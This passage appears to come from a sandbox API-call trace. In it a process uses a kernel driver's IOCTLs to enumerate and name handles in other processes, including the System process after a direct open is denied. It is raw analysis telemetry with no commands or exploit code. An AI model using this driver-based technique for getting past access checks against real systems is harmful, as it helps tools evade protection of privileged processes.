PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0) [0119.303] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0015fb200, HandleInformation=0x0) returned 0x0 [0119.303] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.303] PsReleaseProcessExitSynchronization () returned 0x2 [0119.303] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0119.303] ObQueryNameString (in: Object=0xfffff8a0015fb200, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.303] ObfDereferenceObject (Object=0xfffff8a0015fb200) returned 0x2 [0119.303] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.303] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.303] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x46c) returned 0xc0 [0119.303] GetCurrentProcess () returned 0xffffffffffffffff [0119.303] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x200, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0x0) returned 0 [0119.303] CloseHandle (hObject=0xc0) returned 1 [0119.303] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x88) returned 0x27cb50 [0119.303] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335004c, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x27cb50, nOutBufferSize=0x88, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x27cb50*, lpBytesReturned=0x12d450*=0x22, lpOverlapped=0x0) returned 1 [0119.303] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff880044355a8 | out: Process=0xfffff880044355a8) returned 0x0 [0119.303] PsAcquireProcessExitSynchronization () returned 0x0 [0119.303] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880044355c8 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880044355c8) [0119.303] ObReferenceObjectByHandle (in: Handle=0x200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff880044355b0, HandleInformation=0x0 | out: Object=0xfffff880044355b0*=0xfffffa8003477400, HandleInformation=0x0) returned 0x0 [0119.303] PsReleaseProcessExitSynchronization () returned 0x2 [0119.303] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0119.303] ZwQueryObject (in: Handle=0x200, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0xfffff880044355a4 | out: ObjectInformation=0x0, ReturnLength=0xfffff880044355a4) returned 0xc0000004 [0119.303] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x88, Tag=0x58637250) returned 0xfffff8a0035b3cb0 [0119.303] ZwQueryObject (in: Handle=0x200, ObjectInformationClass=0x2, ObjectInformation=0xfffff8a0035b3cb0, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0xfffff8a0035b3cb0, ReturnLength=0x0) returned 0x0 [0119.303] ExFreePoolWithTag (P=0xfffff8a0035b3cb0, Tag=0x0) [0119.303] ObfDereferenceObject (Object=0xfffffa8003477400) returned 0x2 [0119.303] KeUnstackDetachProcess (ApcState=0xfffff880044355c8) [0119.303] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.303] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x27cb50 | out: hHeap=0x240000) returned 1 [0119.303] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.303] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0119.304] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.304] PsAcquireProcessExitSynchronization () returned 0x0 [0119.304] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880044355d0) [0119.304] ObReferenceObjectByHandle (in: Handle=0x200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003477400, HandleInformation=0x0) returned 0x0 [0119.304] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.304] PsReleaseProcessExitSynchronization () returned 0x2 [0119.304] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0119.304] ObQueryNameString (in: Object=0xfffffa8003477400, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.304] ObfDereferenceObject (Object=0xfffffa8003477400) returned 0x2 [0119.304] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.304] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.304] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x370) returned 0xc0 [0119.304] GetCurrentProcess () returned 0xffffffffffffffff [0119.304] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x95c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc8) returned 1 [0119.304] CloseHandle (hObject=0xc0) returned 1 [0119.304] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0119.304] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x70) returned 0x264c50 [0119.304] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x264c50, ObjectInformationLength=0x70, ReturnLength=0x0 | out: ObjectInformation=0x264c50, ReturnLength=0x0) returned 0x0 [0119.304] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264c50 | out: hHeap=0x240000) returned 1 [0119.304] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.304] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x64, lpOverlapped=0x0) returned 1 [0119.304] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.304] PsAcquireProcessExitSynchronization () returned 0x0 [0119.304] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0119.304] ObReferenceObjectByHandle (in: Handle=0x95c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002faa730, HandleInformation=0x0) returned 0x0 [0119.304] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.304] PsReleaseProcessExitSynchronization () returned 0x2 [0119.304] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1e9 [0119.304] ObQueryNameString (in: Object=0xfffffa8002faa730, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.304] ObfDereferenceObject (Object=0xfffffa8002faa730) returned 0x5 [0119.304] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.304] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.304] CloseHandle (hObject=0xc8) returned 1 [0119.305] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x338) returned 0xc8 [0119.305] GetCurrentProcess () returned 0xffffffffffffffff [0119.305] DuplicateHandle (in: hSourceProcessHandle=0xc8, hSourceHandle=0x320, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0119.305] CloseHandle (hObject=0xc8) returned 1 [0119.305] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0119.305] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x90) returned 0x264820 [0119.305] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x264820, ObjectInformationLength=0x90, ReturnLength=0x0 | out: ObjectInformation=0x264820, ReturnLength=0x0) returned 0x0 [0119.305] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264820 | out: hHeap=0x240000) returned 1 [0119.305] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.305] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0119.305] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.305] PsAcquireProcessExitSynchronization () returned 0x0 [0119.305] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0) [0119.305] ObReferenceObjectByHandle (in: Handle=0x320, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031a5c70, HandleInformation=0x0) returned 0x0 [0119.305] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.305] PsReleaseProcessExitSynchronization () returned 0x2 [0119.305] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0119.305] ObQueryNameString (in: Object=0xfffffa80031a5c70, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.305] ObfDereferenceObject (Object=0xfffffa80031a5c70) returned 0x2 [0119.305] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.305] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.305] CloseHandle (hObject=0xc0) returned 1 [0119.305] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x1e8) returned 0xc0 [0119.305] GetCurrentProcess () returned 0xffffffffffffffff [0119.305] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x170, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc8) returned 1 [0119.305] CloseHandle (hObject=0xc0) returned 1 [0119.305] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0119.305] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x78) returned 0x264c50 [0119.305] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x264c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x264c50, ReturnLength=0x0) returned 0x0 [0119.305] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264c50 | out: hHeap=0x240000) returned 1 [0119.305] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.305] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0119.305] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.305] PsAcquireProcessExitSynchronization () returned 0x0 [0119.306] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880044355d0) [0119.306] ObReferenceObjectByHandle (in: Handle=0x170, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800b6ae940, HandleInformation=0x0) returned 0x0 [0119.306] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.306] PsReleaseProcessExitSynchronization () returned 0x2 [0119.306] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3e [0119.306] ObQueryNameString (in: Object=0xfffffa800b6ae940, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.306] ObfDereferenceObject (Object=0xfffffa800b6ae940) returned 0xc [0119.306] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.306] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.306] CloseHandle (hObject=0xc8) returned 1 [0119.306] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x184) returned 0xc8 [0119.306] GetCurrentProcess () returned 0xffffffffffffffff [0119.306] DuplicateHandle (in: hSourceProcessHandle=0xc8, hSourceHandle=0x38, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0119.306] CloseHandle (hObject=0xc8) returned 1 [0119.306] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0119.306] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x88) returned 0x27cb50 [0119.306] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x27cb50, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0x27cb50, ReturnLength=0x0) returned 0x0 [0119.306] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x27cb50 | out: hHeap=0x240000) returned 1 [0119.306] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.306] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x52, lpOverlapped=0x0) returned 1 [0119.306] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.306] PsAcquireProcessExitSynchronization () returned 0x0 [0119.306] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0119.306] ObReferenceObjectByHandle (in: Handle=0x38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a004ab7080, HandleInformation=0x0) returned 0x0 [0119.306] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.306] PsReleaseProcessExitSynchronization () returned 0x2 [0119.306] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x131 [0119.306] ObQueryNameString (in: Object=0xfffff8a004ab7080, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.306] ObfDereferenceObject (Object=0xfffff8a004ab7080) returned 0x3 [0119.306] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.306] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.306] CloseHandle (hObject=0xc0) returned 1 [0119.306] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0119.307] GetLastError () returned 0x5 [0119.307] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335003c, lpInBuffer=0x12d400*, nInBufferSize=0x8, lpOutBuffer=0x12d408, nOutBufferSize=0x8, lpBytesReturned=0x12d390, lpOverlapped=0x0 | out: lpInBuffer=0x12d400*, lpOutBuffer=0x12d408*, lpBytesReturned=0x12d390*=0x8, lpOverlapped=0x0) returned 1 [0119.307] ZwOpenProcess (in: ProcessHandle=0xfffffa80023ed100, DesiredAccess=0x10000000, ObjectAttributes=0xfffff88004435688*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88004435678*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xfffffa80023ed100*=0xc0) returned 0x0 [0119.307] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.307] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350014, lpInBuffer=0x12d430*, nInBufferSize=0x20, lpOutBuffer=0x12d470, nOutBufferSize=0x8, lpBytesReturned=0x12d3d0, lpOverlapped=0x0 | out: lpInBuffer=0x12d430*, lpOutBuffer=0x12d470*, lpBytesReturned=0x12d3d0*=0x8, lpOverlapped=0x0) returned 1 [0119.307] ZwOpenProcess (in: ProcessHandle=0xfffff880044355f0, DesiredAccess=0x40, ObjectAttributes=0xfffff88004435608*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff880044355f8*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xfffff880044355f0*=0xffffffff80000758) returned 0x0 [0119.307] ZwDuplicateObject (in: SourceProcessHandle=0xffffffff80000758, SourceHandle=0x424, TargetProcessHandle=0xffffffffffffffff, TargetHandle=0xfffffa80023ed100, DesiredAccess=0xfffff88010000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0xfffffa80023ed100*=0xc8) returned 0x0 [0119.307] ZwClose (Handle=0xffffffff80000758) returned 0x0 [0119.307] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.307] CloseHandle (hObject=0xc0) returned 1 [0119.307] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0119.307] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x78) returned 0x264c50 [0119.307] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x264c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x264c50, ReturnLength=0x0) returned 0x0 [0119.307] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264c50 | out: hHeap=0x240000) returned 1 [0119.307] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.307] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0119.307] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.307] PsAcquireProcessExitSynchronization () returned 0x0 [0119.307] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.307] ObReferenceObjectByHandle (in: Handle=0xffffffff80000424, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031f4990, HandleInformation=0x0) returned 0x0 [0119.307] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.307] PsReleaseProcessExitSynchronization () returned 0x2 [0119.307] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.307] ObQueryNameString (in: Object=0xfffffa80031f4990, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.307] ObfDereferenceObject (Object=0xfffffa80031f4990) returned 0x5 [0119.307] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.307] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.307] CloseHandle (hObject=0xc8) returned 1 [0119.307] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0119.307] GetLastError () returned 0x5 [0119.308] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335003c, lpInBuffer=0x12d400*, nInBufferSize=0x8, lpOutBuffer=0x12d408, nOutBufferSize=0x8, lpBytesReturned=0x12d390, lpOverlapped=0x0 | out: lpInBuffer=0x12d400*, lpOutBuffer=0x12d408*, lpBytesReturned=0x12d390*=0x8, lpOverlapped=0x0) returned 1 [0119.308] ZwOpenProcess (in: ProcessHandle=0xfffffa80023ed100, DesiredAccess=0x10000000, ObjectAttributes=0xfffff88004435688*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88004435678*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xfffffa80023ed100*=0xc8) returned 0x0 [0119.308] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.308] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350014, lpInBuffer=0x12d430*, nInBufferSize=0x20, lpOutBuffer=0x12d470, nOutBufferSize=0x8, lpBytesReturned=0x12d3d0, lpOverlapped=0x0 | out: lpInBuffer=0x12d430*, lpOutBuffer=0x12d470*, lpBytesReturned=0x12d3d0*=0x8, lpOverlapped=0x0) returned 1 [0119.308] ZwOpenProcess (in: ProcessHandle=0xfffff880044355f0, DesiredAccess=0x40, ObjectAttributes=0xfffff88004435608*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff880044355f8*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xfffff880044355f0*=0xffffffff80000758) returned 0x0 [0119.308] ZwDuplicateObject (in: SourceProcessHandle=0xffffffff80000758, SourceHandle=0x420, TargetProcessHandle=0xffffffffffffffff, TargetHandle=0xfffffa80023ed100, DesiredAccess=0xfffff88010000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0xfffffa80023ed100*=0xc0) returned 0x0 [0119.308] ZwClose (Handle=0xffffffff80000758) returned 0x0 [0119.308] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.308] CloseHandle (hObject=0xc8) returned 1 [0119.308] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0119.308] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x78) returned 0x27eb50 [0119.308] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x27eb50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x27eb50, ReturnLength=0x0) returned 0x0 [0119.308] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x27eb50 | out: hHeap=0x240000) returned 1 [0119.308] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.308] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0119.308] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.308] PsAcquireProcessExitSynchronization () returned 0x0 [0119.308] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.308] ObReferenceObjectByHandle (in: Handle=0xffffffff80000420, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800dbffad0, HandleInformation=0x0) returned 0x0 [0119.308] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.308] PsReleaseProcessExitSynchronization () returned 0x2 [0119.308] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.308] ObQueryNameString (in: Object=0xfffffa800dbffad0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.308] ObfDereferenceObject (Object=0xfffffa800dbffad0) returned 0x3 [0119.308] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.308] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.308] CloseHandle (hObject=0xc0) returned 1 [0119.308] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0119.308] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.308] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.309] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.309] PsAcquireProcessExitSynchronization () returned 0x0 [0119.309] KeStackAttachProcess (in: 